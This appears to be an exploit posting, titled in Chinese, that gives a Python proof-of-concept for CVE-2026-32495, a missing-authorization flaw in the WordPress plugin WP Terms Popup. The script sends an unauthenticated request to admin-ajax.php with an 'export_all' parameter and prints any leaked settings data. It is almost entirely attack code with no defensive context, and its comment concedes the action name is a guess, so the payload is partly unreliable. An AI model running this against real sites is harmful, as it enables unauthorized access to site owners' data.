CVE-2026-32495: WP Terms Popup权限绕过漏洞

# Exploit Title: WP Terms Popup < 2.10.0 - Missing Authorization PoC # Date: 2026-03-25 # CVE: CVE-2026-32495 import requests def check_vulnerability(target_url): """Checks if the target is vulnerable to CVE-2026-32495.""" # The vulnerable endpoint is typically an AJAX action ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload to exploit missing authorization on a restricted action # Note: The specific 'action' parameter depends on the plugin's internal code payload = { "action": "wp_terms_popup_get_data", "param": "export_all" } try: # Send request without authentication cookies response = requests.get(ajax_url, params=payload, timeout=10) if response.status_code == 200: # Check if response contains sensitive data or admin-only JSON if "settings" in response.text or "popup" in response.text: print("[+] Vulnerability Confirmed! Sensitive data leaked.") print(f"[+] Response: {response.text[:200]}") return True else: print("[-] Target does not appear to be vulnerable.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_vulnerability(target)